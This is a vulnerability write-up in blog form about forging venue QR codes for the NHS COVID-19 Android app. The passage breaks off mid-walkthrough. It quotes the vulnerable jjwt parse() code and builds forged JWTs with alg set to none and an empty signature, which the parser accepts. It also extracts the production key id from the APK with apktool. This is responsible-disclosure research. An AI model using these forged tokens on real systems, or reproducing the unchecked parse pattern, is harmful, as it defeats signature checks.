Due to the nature of the app here, I want to start this blog post with a disclaimer:

This describes a minor security flaw in the app which has no impact on its ability to function as part of a track & trace system. I also want to be explicitly clear that this bug does not have any privacy impact whatsoever. Lastly, there is nothing nefarious about this bug. It's a mistake (largely on the part of a third-party dependency) and nothing more, one that is easily (and commonly) made.

TL;DR

The NHS COVID-19 Android app, the official contact tracing app for England and Wales, uses signed JWT tokens for its “scan into a venue” feature but does not properly validate the signatures, meaning anyone could have forged their own venue QR codes.

This vulnerability is due to a mixture of JWTs being fundamentally difficult to verify correctly, and a particularly awful JWT library API.

I was able to discover the vulnerability from reading the source code, and getting the relevant app code running on my computer in a test harness to experiment with it.

I reported the vulnerability to the NHS team who fixed it very quickly.

The Full Story

It all started, as many things do, with a Tweet:

For those of you who don't know, these QR codes are for venues (such as pubs and bars) to display so customers can check in via the NHS (National Health Service) mobile app. This makes it faster and more convenient to track who was at the venue, in case they need to be contacted in the event someone else there tested positive for Coronavirus.

For whatever reason, the NHS venue QR codes are JWTs, and they are cryptographically signed.

Like anyone in security, as soon as I heard the letters “JWT” I thought: “I wonder if they got the signature checking correct”.

Spoiler alert: they didn’t:

A screenshot of a mobile phone app: Green check mark. Title: Successful check-in. Large text: Barnard Castle Eye Testing Facility. Smaller test: 30 Sep 2020, 12:53. Thank you for scanning. You have now checked in! You'll be automatically checked out at midnight or when you scan another official NHS QR code. Button: Back to home. Link: Cancel this check-in.

Background: JWTs & Signing

In case you don’t know what a JWT is, it’s an entirely unnecessary and rather over-complicated spec for encoding data in JSON format and: cryptographically signing it, so it cannot be altered; encrypting it, so it cannot be read; both; or – popularly (if accidentally) – neither.

This post is about signed JWTs, and forging signed JWTs, so I’m not going to mention encryption any more. From here on in, every time I say “JWT” I mean “unencrypted, but possibly signed, JWT”.

You don’t need to know everything about JWTs to follow along here, but you do need to know this much: A JWT consists of three parts: a header, a payload, and a signature (optional). Here’s an example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjEifQ.eyJuYW1lIjoiem9mcmV4IiwibWVzc2FnZSI6ImhlbGxvLCB3b3JsZCEifQ.40IhxsQj3rVqfQSpdzZTroSs1onXrTJUsy6yC1SadK0

Each part is Base64 encoded, which isn’t important here, and decoded it looks like this:

{"alg":"HS256","typ":"JWT","kid":"1"}.{"name":"zofrex","message":"hello, world!"}.<inscrutable crytographic soup>

The header tells whoever is verifying the JWT which cryptographic algorithm was used to sign it (“alg”), and optionally an identifier for the key it was signed with (“kid”).

There are a number of problems that JWTs are shoe-horned into being a solution for, and one very common one is for verifying data that is passed between services by an untrusted user. For example, service A produces a token and gives it to a user, who then presents the token to service B. Because the token is round-tripping through the user, it is important to make sure they haven’t altered it (or created it themselves), and the token really was generated by the first service.

In the context of the NHS App, “service A” is the website that generates QR codes for venues to display, and “Service B” is the NHS COVID-19 app. There are actually multiple untrusted users carrying the QR code from service A to service B: the venue owner who prints out the QR code and sticks it up on the wall, and any customers who scan the QR code with their phone. Because of the cryptographic signature, the app can verify that the QR code it scans really was created by the official website.

That’s the theory.

In security and cryptography circles, JWTs used in this way are practically synonymous with “alg=none” bugs. Remember that “alg” field in the header earlier? One of the options is “none”. This, as you may have guessed already, means no verification occurs. This has proven to be the single biggest footgun in the JWT specification, as despite seemingly being a very obvious trap to avoid, many JWT libraries out there hide these details from users and make it very easy to accidentally allow the “none” algorithm.

The bottom line here is that this is hilariously and depressingly common, and well worth double-checking if you are investigating any system that uses JWTs or, heaven help you, building one. That’s why this was my first thought upon learning the NHS app uses JWTs, and why I wanted to check if they made this specific mistake.

Let’s Take A Look

Both the NHS apps (Android and iOS) are open source, so it’s very easy for someone like me – more accustomed to reading/writing source code than reverse engineering – to take a look. A quick search for “JWT” in each repo later and we find:

The iOS app:

public struct QRCode {
    var key: P256.Signing.PublicKey
    
    public init(
        key: P256.Signing.PublicKey
    ) {
        self.key = key
    }
    
    func parse(_ payload: String) throws -> Venue {
        // ...
        guard let signature = try? P256.Signing.ECDSASignature(rawRepresentation: jwt.signature) else {
            throw InitializationError.invalidSignature
        }
        
        let digest = SHA256.hash(data: jwt.signed)
        guard key.isValidSignature(signature, for: digest) else {
            throw InitializationError.invalidSignature
        }
        
        let decoder = JSONDecoder()
        return try decoder.decode(Venue.self, from: jwt.payload)
    }
}

(I’ve omitted code not relevant to the signature checking)

This looks fine. Sure, it’s a little bit weird to do the key checking yourself rather than defer to a JWT library for it. But on the other hand, it’s extremely obvious reading this code that it’s doing the right thing, at least as far as alg=none avoidance goes (I cannot vouch for the cryptography, however. I’m just an alg=none expert).

The key part here is that the signing algorithm is hardcoded to P256, so setting alg to “none” in the JWT itself will have no effect on verification. Additionally the key to use is also hardcoded: it’s passed in to the class via the constructor. The “kid” (key id) field in the JWT is checked, but ultimately thrown away. The JWT is not trusted to choose the algorithm or the key, and in that sense this is a great example of how to safely use JWTs, if you do absolutely have to use them.

Lastly, the payload of the JWT is not decoded or used at all until after the signature is verified. This isn’t really relevant to the alg=none issue, but it is good practice in general to only access signed data after verifying that it hasn’t been tampered with. In cryptography, this protects you from clever cryptographic attacks. With JWTs it ensures you don’t accidentally use attacker-provided data for any decisions in your code if the signature fails, and has a side-benefit of creating a layered defence to exploiting the JSON parser (historically a decent source of bugs).

Anyway, this code looks fine. Great! On to Android (again, I’ve omitted irrelevant code):

class QrCodeParser @Inject constructor(
    private val signatureKey: SignatureKey
) {
    private val venueAdapter = moshi.adapter(Venue::class.java)
    private val jwtHeaderAdapter = moshi.adapter(JwtHeader::class.java)

    fun parse(rawValue: String): Venue {
        //...
        val jwt = try {
            parseJWT(jwtString)
        } catch (exception: java.lang.Exception) {
            throw IllegalArgumentException("Invalid JWT", exception)
        }

        if (!hasValidSignature(jwtString, jwt.header.kid)) {
            throw IllegalArgumentException("QR code signature validation failed")
        }
        return jwt.venue
    }

    private fun parseJWT(jwt: String): Jwt {
        val components = jwt.split(".")
        return when (components.size) {
            3 -> {
                val header = jwtHeaderAdapter.fromJson(base64Decoder.decodeUrl(components[0]))
                    ?: throw throw IllegalArgumentException("Error decoding header")
                val venue = venueAdapter.fromJson(base64Decoder.decodeUrl(components[1]))
                    ?: throw throw IllegalArgumentException("Error decoding payload")
                Jwt(header, venue)
            }
            else -> throw IllegalArgumentException()
        }
    }

    private fun hasValidSignature(jwtString: String, keyId: String): Boolean {
        if (signatureKey.id != keyId) {
            throw IllegalArgumentException("Unknown keyId received: $keyId")
        }

        return runCatching {

            val undecoratedString = signatureKey.pemRepresentation
                .split("\n")
                .filter { !(it.isEmpty() || it.startsWith("-----")) }
                .joinToString("")
            val publicKeyBytes: ByteArray = base64Decoder.decodeToBytes(undecoratedString)

            val publicKey =
                KeyFactory.getInstance("EC").generatePublic(X509EncodedKeySpec(publicKeyBytes))
            Jwts.parserBuilder()
                .setSigningKey(publicKey)
                .build()
                .parse(jwtString)
            true
        }.getOrElse {
            print(it)
            false
        }
    }

Phew, there’s a lot more going on here! Let’s break it down:

We start in the parse function and after some basic data juggling, we parse the JWT. Then we check if the signature is correct, and if it isn’t, we bail:

val jwt = try {
    parseJWT(jwtString)
}
//...
if (!hasValidSignature(jwtString, jwt.header.kid)) {
    throw IllegalArgumentException("QR code signature validation failed")
}

First let’s check parseJWT to see if that’s doing anything with the signature:

private fun parseJWT(jwt: String): Jwt {
    val components = jwt.split(".")
    return when (components.size) {
        3 -> {
            val header = jwtHeaderAdapter.fromJson(base64Decoder.decodeUrl(components[0]))
                ?: throw throw IllegalArgumentException("Error decoding header")
            val venue = venueAdapter.fromJson(base64Decoder.decodeUrl(components[1]))
                ?: throw throw IllegalArgumentException("Error decoding payload")
            Jwt(header, venue)
        }
        else -> throw IllegalArgumentException()
    }
}

Nope, this isn’t doing anything with the signature. It’s decoding the first two parts of the JWT (the header and the payload) as JSON, and ignoring the signature (other than making sure one is present).

Ok, so the app is parsing the JWT before verifying the signature – which isn’t great, but on the plus side it’s very easy to follow the code paths and verify that the payload is thrown away if signature verification fails.

Let’s take a look at the signature checking, then:

if (!hasValidSignature(jwtString, jwt.header.kid)) {
    throw IllegalArgumentException("QR code signature validation failed")
}

I’m immediately worried about this because we’re passing in the key id (“kid”) from the JWT itself, but let’s see what actually happens in this function now:

class QrCodeParser @Inject constructor(
    private val signatureKey: SignatureKey
) {
//...
    private fun hasValidSignature(jwtString: String, keyId: String): Boolean {
        if (signatureKey.id != keyId) {
            throw IllegalArgumentException("Unknown keyId received: $keyId")
        }

        return runCatching {

            val undecoratedString = signatureKey.pemRepresentation
                .split("\n")
                .filter { !(it.isEmpty() || it.startsWith("-----")) }
                .joinToString("")
            val publicKeyBytes: ByteArray = base64Decoder.decodeToBytes(undecoratedString)

            val publicKey =
                KeyFactory.getInstance("EC").generatePublic(X509EncodedKeySpec(publicKeyBytes))
            Jwts.parserBuilder()
                .setSigningKey(publicKey)
                .build()
                .parse(jwtString)
            true
        }.getOrElse {
            print(it)
            false
        }
    }

First of all, I was worrying needlessly about the key id – it’s immediately checked against signatureKey, which is passed in to the parser’s constructor, so that’s fine.

Moving on, there’s some helper code to turn signatureKey from its PEM representation to a raw byte array, which is mechanical and uninteresting.

Then we get to the meat of it: we create a key object, hard-coding an algorithm of “EC”, we create a JWT parser and set the signing key to our hardcoded key, and we parse the JWT.

Despite some initial suspicion, this looks great. The algorithm and key are hardcoded, and signature verification is offloaded to the JWT library – which has been told explicitly to use this key to verify signatures. As the key is strongly typed that should force the JWT to use the correct algorithm as well, because you can’t use an EC key with the HMAC algorithm, for example. There’s no room for an alg=none bug here, so this is where our story ends.

Or is it?

Let’s Take A Slightly Closer Look

As I went about my day, something about the Android code was nagging at my mind. I started to wonder – was it really correct? Of course it was, we check the key id, and enforce which algorithm is used to verify signatures. What could possibly go wrong? Still, maybe there was a gap here somewhere. I remembered that many JWT libraries have terrible APIs, and it’s sometimes not obvious which method is the “verify a JWT and then give me the data” method and which is the “ignore the signature and just give me the data” method.

I returned to the code and checked which JWT library it’s using. It’s called jjwt, it has some kind of connection to the famous security company “Okta”, and it is not going to come out of this blogpost smelling of roses.

The library was created by Okta’s Senior Architect, Les Hazlewood and is supported and maintained by a community of contributors.

Okta is a complete authentication and user management API for developers.

The jjwt README

Here’s the NHS app again, just the JWT parsing part:

Jwts.parserBuilder()
    .setSigningKey(publicKey)
    .build()
    .parse(jwtString)

It’s practically a trope for JWT libraries to have misleading function names, so I do a cmd+f on the jjwt README for “parse”, and one of the first things I find is:

NOTE: Ensure you call the parseClaimsJws method (since there are many similar methods available). You will get an UnsupportedJwtException if you parse your JWT with wrong method.

This is not a promising start. Many “similar” methods being available sounds like there may be a minefield of non-obvious choices for developers to make here. But hey, it says the consequences of getting this wrong are an UnsupportedJwtException, so maybe it’s not terrible.

I keep searching and come to this – inexplicably located 2/3 of the way down the README & typeset in the same manner as the rest of the text, rather than being at the very top of the page in bright pink 3-inch high lettering contained within a <blink> tag:

NOTE: If you are expecting a JWS, always call JwtParser’s parseClaimsJws method (and not one of the other similar methods available) as this guarantees the correct security model for parsing signed JWTs.

Uh-oh. Now this really does sound terrible. This code definitely isn’t calling the parseClaimsJws method, and it sounds like that’s pretty important to do.

In fact, the parse method doesn’t appear anywhere in the README at all.

Let’s go find out what it does!

A Whirlwind Tour Of A Terrible API

A quick search of the jjwt codebase lands us at JwtParser.java, which contains documentation for the various parsing methods. There’s quite a few options:

  • parse(String jwt)
  • parse(String jwt, JwtHandler<T> handler)
  • parsePlaintextJwt(String plaintextJwt)
  • parseClaimsJwt(String claimsJwt)
  • parsePlaintextJws(String plaintextJws)
  • parseClaimsJws(String claimsJws)

Well, let’s start at the top:

Jwt parse(String jwt)

Parses the specified compact serialized JWT string based on the builder’s current configuration state and returns the resulting JWT or JWS instance.

This method returns a JWT or JWS based on the parsed string. Because it may be cumbersome to determine if it is a JWT or JWS, or if the body/payload is a Claims or String with instanceof checks, the parse(String,JwtHandler) method allows for a type-safe callback approach that may help reduce code or instanceof checks.

Throws:

SignatureException - if a JWS signature was discovered, but could not be verified. JWTs that fail signature validation should not be trusted and should be discarded.

The description isn’t explicit, but the “if” in “if a JWS signature was discovered” makes it sound like signature verification might be optional here.

Let’s take a look at the other general purpose method here:

Jwt parse(String jwt, JwtHandler<T> handler)

If you know the JWT string can be only one type of JWT, then it is even easier to invoke one of the following convenience methods instead of this one:

parsePlaintextJwt(String) parseClaimsJwt(String) parsePlaintextJws(String) parseClaimsJws(String)

What does “can be only one type of JWT” mean? That we are confident that the JWT we are given will definitely be that type? Or that we want to enforce that it should be that type? In other words, are we telling the library that we – the developer – are guaranteeing that invariant, or are we asking the library to enforce that invariant for us?

Well, parsePlaintextJwt and parseClaimsJwt both explicitly say they will throw an exception if the JWT they are passed is signed.

parsePlaintextJws and parseClaimsJws both have similar documentation that says they will throw an exception if the JWT they are passed is not signed, for example parseClaimsJws says:

This is a convenience method that is usable if you are confident that the compact string argument reflects a Claims JWS. A Claims JWS is a JWT with a Claims body that has been cryptographically signed.

If the compact string presented does not reflect a Claims JWS, an UnsupportedJwtException will be thrown.

So what does “If you know the JWT string can be only one type of JWT, then it is even easier to invoke one of the following convenience methods instead of this one” mean? It means “I want you, the library, to enforce this invariant”. This is not only dangerously ambiguous language, but to me it means the exact opposite: call this method only if you’ve already checked this invariant!

It’s not just me: I polled three other developers all three of them interpreted this the other way! That means all three of them would potentially use this library incorrectly even if they read the Javadoc, rather than just picking the most obvious-looking function. Additionally, one of the three people I polled said:

“this phrase is hurting my brain”

This is not a good property for arguably the most important piece of documentation in your entire API.

At this point in my journey it seems incredibly likely that the Android app is vulnerable after all. It looks like if we pass in a JWT that is unsigned (alg=none) the code will accept it, as long as we still set the key id (“kid”) in the header to the correct value. I also don’t feel I’m going to get any more value from reading the misleading and confusing documentation for this library: it’s time to run the code and see what happens.

Run The Code

I decided the best way to test if the app would actually accept forged JWTs with no signature was to get the code from QrCodeParser.kt running on my computer. This way as I experiment I’ll be able to see the particular exceptions being thrown rather than a generic error message, which will tell me how far I’m getting through the security checks and which check my QR code is failing. It also avoids having to get the entire app up and running and debugging it as a whole, which I think will probably be harder to achieve.

Of course, nothing will confirm it for sure like using the real production app, but I don’t want to spam the NHS with fake check-in data while I experiment. I don’t think they’d appreciate that.

The next best thing is to try to get the exact code running, so I’ll try to alter QrCodeParser.kt as little as possible to get it running.

Getting this working was mostly a case of getting a Kotlin + Gradle build working so I could add in dependencies, but there were a few notable pieces of work:

  • Copying over other classes from Github that the code required.
  • Creating an implementation of Base64Decoder that would run on the JVM, as the one from the app was Android specific (side-note: thank you NHS developers for separating interface and implementation here, which made this easy).
  • Ripping out Dagger / dependency injection – while I wanted to keep the code identical if possible, I knew from experience that getting Dagger working would take me a lot of time and effort, and hardcoding a few dependencies in a constructor call is not a large change.
  • Provide a SignatureKey object. This class is entirely missing from the code on Github – I think because it’s configurable per-environment, so maybe it’s supplied by their build process?

The SignatureKey is the part most relevant to our exploit. From its usage in the code, it’s easy to create a class that will substitute for the real one:

class SignatureKey(
    val id: String,
    val pemRepresentation: String
)

The id identifies the key somehow, and the pemRepresentation is the full public key in the PEM format.

We don’t have these values for the production app, but for testing the code we can make up our own. What the values are doesn’t really matter for the purpose of proving this vulnerability as long as we don’t make use of the private key (which we won’t have access to for the real app).

“1” seems to be a popular value for key id so let’s go with that, and generate a new random EC keypair to get a public key.

We now have everything we need to run the code:

fun main(args: Array<String>) {
    val base64decoder = PCBase64Decoder()
    val moshi = Moshi.Builder().build()
    val signatureKey = SignatureKey("1", "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEllFzZviZBq8zAq8yQo1KhjsMb9gk\niTqVNkdqSz2d6vXRF71UOWOtxCKQvenj24qwQkVoxtKfcHSNolJkyf3pgg==\n-----END PUBLIC KEY-----")
    val parser = QrCodeParser(base64decoder, moshi, signatureKey)

    parser.parse("")
}

Running this gives us an error – unsurprisingly, as the input is empty:

> Task :run FAILED
Exception in thread "main" java.lang.IllegalArgumentException: Invalid QR code content
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:32)
        at zofrex.MainKt.main(Main.kt:26)

But the point is that the code compiles, runs, and gets far enough to complain that the QR code is invalid rather than a NullPointerException.

The QR Code Format

Now we can experiment! First of all, I wanted to get a real QR code to see what the contents usually are to serve as a starting point. I didn’t really fancy leaving the house and going to an actual venue though, partially because of the whole pandemic thing, and partially because the nearest one was a Wetherspoons. A cursory Google Image Search didn’t bring up any real check-in codes, which makes sense as you don’t want the entire population of the UK checking into the same place to “test the app”. Maybe the NHS app itself can tell us more about these QR codes?

A screenshot of a mobile phone app, which reads: Help scanning a QR code. How do I recognise an official NHS QR code? This is what the official English/Welsh NHS QR code poster looks like. Use your phone camera to scan the QR code which is the square in the middle. English NHS QR code poster: There is a photograph of a poster titled 'Let's help stop the spread of coronavirus' with a QR code in the centre, and 'Test Location name' below the QR code.

Even though it’s very small on the screen it is possible to scan that QR code, and it contains the following:

UKC19TRACING:1:eyJhbGciOiJFUzI1NiIsImtpZCI6IjEifQ.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJJc2xlIE9mIE1hbiBHb3Zlcm5tZW50IE9mZmljZSBPZiBIdW1hbiDlrrblr4zosarEgSBUZXN0MDEiLCJhZHIiOiJJc2xlIE9mIE1hbiBHb3Zlcm5tZW50IE9mZmljZSBPZiBBcnNlbmFsIFJlc291cmNlc1xuTGVhcm5pbmcgRWR1Y2F0aW9uIGFuZCBEZXZlbG9wbWVudFxuVGhlIExvZGdlIEVkdWNhdGlvbiBhbmQgVHJhaW5pbmcgQ2VudHJlLCBCcmFkZGFuIFJvYWQsIFN0cmFuZywgRG91Z2xhc1xuSVNMRSBPRiBNQU4sIElNNCA0UU4iLCJwdCI6IklTTEUgT0YgTUFOIiwicGMiOiJJTTQgNFFOIn0.KlS7YV28BHLJ-F0q9fbPM2Dh-rrsvo-GdkAuuSpA0QQqyFivVYW-pQCLJbTYIs-1dqhjQTJeUBd-mkZp85KBHQ

There’s some extra stuff at the beginning but it looks like there’s a JWT after it. From the QRCodeParser.kt code we can see that it’s expecting all QR codes to contain a fixed constant, “UKC19TRACING”, a version number (currently 1), and a JWT, separated by colons, and it appears that’s what we have here.

Putting the JWT into a decoder gives us the following:

Header:

{
  "alg": "ES256",
  "kid": "1"
}

Payload:

{
  "id": "ABCD1234",
  "typ": "entry",
  "opn": "Isle Of Man Government Office Of Human 家富豪ā Test01",
  "adr": "Isle Of Man Government Office Of Arsenal Resources\nLearning Education and Development\nThe Lodge Education and Training Centre, Braddan Road, Strang, Douglas\nISLE OF MAN, IM4 4QN",
  "pt": "ISLE OF MAN",
  "pc": "IM4 4QN"
}

Great! This does look like it’s a real venue QR code, so we can re-use the contents of the payload as that looks like it’s in the right format to be accepted by the app.

Let’s see what happens if we put this QR code into our little test application:

parser.parse("UKC19TRACING:1:eyJhbGciOiJFUzI1NiIsImtpZCI6IjEifQ.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJJc2xlIE9mIE1hbiBHb3Zlcm5tZW50IE9mZmljZSBPZiBIdW1hbiDlrrblr4zosarEgSBUZXN0MDEiLCJhZHIiOiJJc2xlIE9mIE1hbiBHb3Zlcm5tZW50IE9mZmljZSBPZiBBcnNlbmFsIFJlc291cmNlc1xuTGVhcm5pbmcgRWR1Y2F0aW9uIGFuZCBEZXZlbG9wbWVudFxuVGhlIExvZGdlIEVkdWNhdGlvbiBhbmQgVHJhaW5pbmcgQ2VudHJlLCBCcmFkZGFuIFJvYWQsIFN0cmFuZywgRG91Z2xhc1xuSVNMRSBPRiBNQU4sIElNNCA0UU4iLCJwdCI6IklTTEUgT0YgTUFOIiwicGMiOiJJTTQgNFFOIn0.KlS7YV28BHLJ-F0q9fbPM2Dh-rrsvo-GdkAuuSpA0QQqyFivVYW-pQCLJbTYIs-1dqhjQTJeUBd-mkZp85KBHQ")

I expect it to be rejected for a signature mismatch, as our code is expecting to see a JWT signed with the public key we generated earlier, and this is signed with some other key. Let’s see:

> Task :run FAILED
io.jsonwebtoken.security.SignatureException: JWT signature does not match locally computed signature. JWT validity cannot be asserted and should not be trusted.Exception in thread "main" java.lang.IllegalArgumentException: QR code signature validation failed
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:49)
        at zofrex.MainKt.main(Main.kt:27)

As expected! This is a good result because it means we have the code executing correctly in the test harness, and getting as far as the signature checking rather than erroring out earlier on. As designed, the code won’t accept a JWT signed by just anyone, it has to be signed by the right key.

Now let’s see if we can get around that restriction.

Building A Forged Token

What I want to do is create my own token with alg=none and a payload similar to the test token, but all the websites I find for easily generating JWTs don’t allow you to pick “none” as an option. Still, as a starting point, the jwt.io website has a nice online generator, which generates this header:

{
  "alg": "ES256",
  "typ": "JWT",
  "kid": "1"
}

and I enter in this payload:

{
  "id": "ABCD1234",
  "typ": "entry",
  "opn": "Barnard Castle Eye Testing Facility",
  "adr": "Scar Top\nBarnard Castle\nDurham\nDL12 8PR",
  "pt": "UNITED KINGDOM",
  "pc": "DL12 8PR"
}

And the site generates this token:

eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjEifQ.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJCYXJuYXJkIENhc3RsZSBFeWUgVGVzdGluZyBGYWNpbGl0eSIsImFkciI6IlNjYXIgVG9wXG5CYXJuYXJkIENhc3RsZVxuRHVyaGFtXG5ETDEyIDhQUiIsInB0IjoiVU5JVEVEIEtJTkdET00iLCJwYyI6IkRMMTIgOFBSIn0.NnTeHiAAsHx4EytLk8vKEoA2_hNv8Z89nlTZ2qmys_8V2zDEKbE2iTrhGSb6STpMgqN7A3RX0ka5Ke7ADI_LNg

As expected, if we give the parser this token it doesn’t like it:

> Task :run FAILED
io.jsonwebtoken.security.SignatureException: JWT signature does not match locally computed signature. JWT validity cannot be asserted and should not be trusted.Exception in thread "main" java.lang.IllegalArgumentException: QR code signature validation failed
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:49)
        at zofrex.MainKt.main(Main.kt:27)

But what happens if we tell it to use alg=none instead of ES256?

None of the online JWT creators would let me do this, but as we discussed earlier this is just Base64-encoded JSON. We can make the header ourselves:

{
  "alg": "none",
  "typ": "JWT",
  "kid": "1"
}

We just need to strip out the extra whitespace and Base64 encode it, giving us:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiMSJ9Cg

We put this header together with the payload and signature from the token we generated:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiMSJ9Cg.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJCYXJuYXJkIENhc3RsZSBFeWUgVGVzdGluZyBGYWNpbGl0eSIsImFkciI6IlNjYXIgVG9wXG5CYXJuYXJkIENhc3RsZVxuRHVyaGFtXG5ETDEyIDhQUiIsInB0IjoiVU5JVEVEIEtJTkdET00iLCJwYyI6IkRMMTIgOFBSIn0.NnTeHiAAsHx4EytLk8vKEoA2_hNv8Z89nlTZ2qmys_8V2zDEKbE2iTrhGSb6STpMgqN7A3RX0ka5Ke7ADI_LNg

And feed that to the parser, which will hopefully accept it:

> Task :run FAILED
io.jsonwebtoken.MalformedJwtException: JWT string has a digest/signature, but the header does not reference a valid signature algorithm.Exception in thread "main" java.lang.IllegalArgumentException: QR code signature validation failed
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:49)
        at zofrex.MainKt.main(Main.kt:27)

Well, that makes sense in a way. Rather than seeing “alg=none” and not checking for a signature, the JWT library is seeing a signature and looking at the alg field to see how to process it – and not getting an answer that makes sense, because “none” isn’t a signature algorithm.

Maybe we can remove the signature entirely, then?

eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiMSJ9Cg.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJCYXJuYXJkIENhc3RsZSBFeWUgVGVzdGluZyBGYWNpbGl0eSIsImFkciI6IlNjYXIgVG9wXG5CYXJuYXJkIENhc3RsZVxuRHVyaGFtXG5ETDEyIDhQUiIsInB0IjoiVU5JVEVEIEtJTkdET00iLCJwYyI6IkRMMTIgOFBSIn0

Unfortunately not:

> Task :run FAILED
Exception in thread "main" java.lang.IllegalArgumentException: Invalid JWT
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:45)
        at zofrex.MainKt.main(Main.kt:27)
Caused by: java.lang.IllegalArgumentException
        at zofrex.QrCodeParser.parseJWT(QrCodeParser.kt:64)
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:43)
        ... 1 more

Clearly the code is expecting a JWT to have 3 parts: a header, a payload, and a signature, separated by “.”. But if we pass in a signature, the JWT library will complain that the algorithm is invalid! How can we pass in a three-part JWT that has no signature?

We could try… an empty signature?

eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiMSJ9Cg.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJCYXJuYXJkIENhc3RsZSBFeWUgVGVzdGluZyBGYWNpbGl0eSIsImFkciI6IlNjYXIgVG9wXG5CYXJuYXJkIENhc3RsZVxuRHVyaGFtXG5ETDEyIDhQUiIsInB0IjoiVU5JVEVEIEtJTkdET00iLCJwYyI6IkRMMTIgOFBSIn0.

Note the final “.” there. This JWT has three parts: a header, a payload, and a signature – which is an empty string.

What does the parser think?

> Task :run

BUILD SUCCESSFUL in 1s

Victory!

We’ve managed to create our own, forged token: we can put in any payload we want, and we don’t need to know the private key to produce a valid signature in order for the parser code to accept it.

The only thing left to do is to confirm this is really an issue in the actual app as well as in our test bed. As much as I tried to ensure the code stayed similar, I can’t be 100% certain: maybe the JWT dependency is a different version and behaves differently, maybe the code on Github isn’t 100% up to date with the production app, maybe some other factor changes how this code runs on my machine. I know from experience that no matter how confident you are something is vulnerable, you can’t be certain without testing it.

Testing the Real App

If you’re doing something similar to this, this is the point where you really need to go check for a disclosure policy before continuing if you haven’t already. Testing this works on the production app will potentially send data back to them, and at that point we’re poking at a real live system and need to tread carefully.

Wonderfully, the contact us page on the official website for the app has details of what to do if you find a vulnerability. This is always great to see! That page takes us to their policy on HackerOne. These two pages clearly define the scope and confirm that the app is within scope, and give useful guidelines on what is and is not allowed.

The guidelines ask for steps to reproduce and a proof of concept to be included with reports, so I need to create a QR code that will actually work with the production app. I’m confident that doing a single check-in for testing my code works before submitting doesn’t violate their guidelines, and is a sensible step to take to ensure my PoC works and my report doesn’t waste their time. (Wasting your own time is fine.)

All that we need in order to create a QR code that the real app will accept is that SignatureKey data that was missing from the Github repo. Even though we don’t have the source code, it must be in the app itself - and it’s not hard to extract code or data from Android apps.

All you need is to download the APK file from the Play Store, either by extracting it from a real Android phone yourself, or by using one of the many extremely-dodgy-looking websites that offer to let you download APKs. Once that’s done, pop it open with apktool and you have all the resources for the app and the classes:

% java -jar ~/Downloads/apktool_2.4.1.jar d uk.nhs.covid19.production_3.6.1_\(70\)-70_minAPI23\(nodpi\)_apkmirror.com.apk
I: Using Apktool 2.4.1 on uk.nhs.covid19.production_3.6.1_(70)-70_minAPI23(nodpi)_apkmirror.com.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/zofrex/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes3.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

It doesn’t take much searching with grep to find where SignatureKey is initialised with the constants for key id and the public key in PEM format. These constants are in code, not in resources, and the code hasn’t been decompiled so it looks a bit weird. It has been disassembled though, so it is human-readable. I’ve read enough disassembled bytecode that this is good enough for me, at least for something simple like finding a string constant, but if you’re more used to source code you may want to take the additional step of decompiling apps to read their code.

The initialisation looks like this:

.line 38
new-instance v0, Luk/nhs/covid19/config/SignatureKey;

const-string v1, "dFr_VktyQbzGnc7oHcxhr0pjK1htAkkH3TYzoAgxzk0"

const-string v2, "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAExPlLBwDzRMpFUS+qb1VM8Ogcu41M\nf+qzgpeHpz7cGZaGtnbZBZJF3WAenBZzq5z0sZ6Nu/xSuZMk1HAzIC5ynA==\n-----END PUBLIC KEY-----"

invoke-direct {v0, v1, v2}, Luk/nhs/covid19/config/SignatureKey;-><init>(Ljava/lang/String;Ljava/lang/String;)V

sput-object v0, Luk/nhs/covid19/config/EnvironmentConfigurationKt;->qrCodesSignatureKey:Luk/nhs/covid19/config/SignatureKey;

The important part here is the two string constants (const-string) that are used as the two arguments to the constructor for SignatureKey. We can take these values and put them in our test harness code:

val signatureKey = SignatureKey("dFr_VktyQbzGnc7oHcxhr0pjK1htAkkH3TYzoAgxzk0",
    "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAExPlLBwDzRMpFUS+qb1VM8Ogcu41M\nf+qzgpeHpz7cGZaGtnbZBZJF3WAenBZzq5z0sZ6Nu/xSuZMk1HAzIC5ynA==\n-----END PUBLIC KEY-----")

And now our local code is more representative of the real app.

What happens if we give it our forged token?

> Task :run FAILED
Exception in thread "main" java.lang.IllegalArgumentException: Unknown keyId received: 1
        at zofrex.QrCodeParser.hasValidSignature(QrCodeParser.kt:70)
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:48)
        at zofrex.MainKt.main(Main.kt:37)

Of course – the code is now expecting the production key id, not “1”. Let’s update the header of our JWT for the production key id:

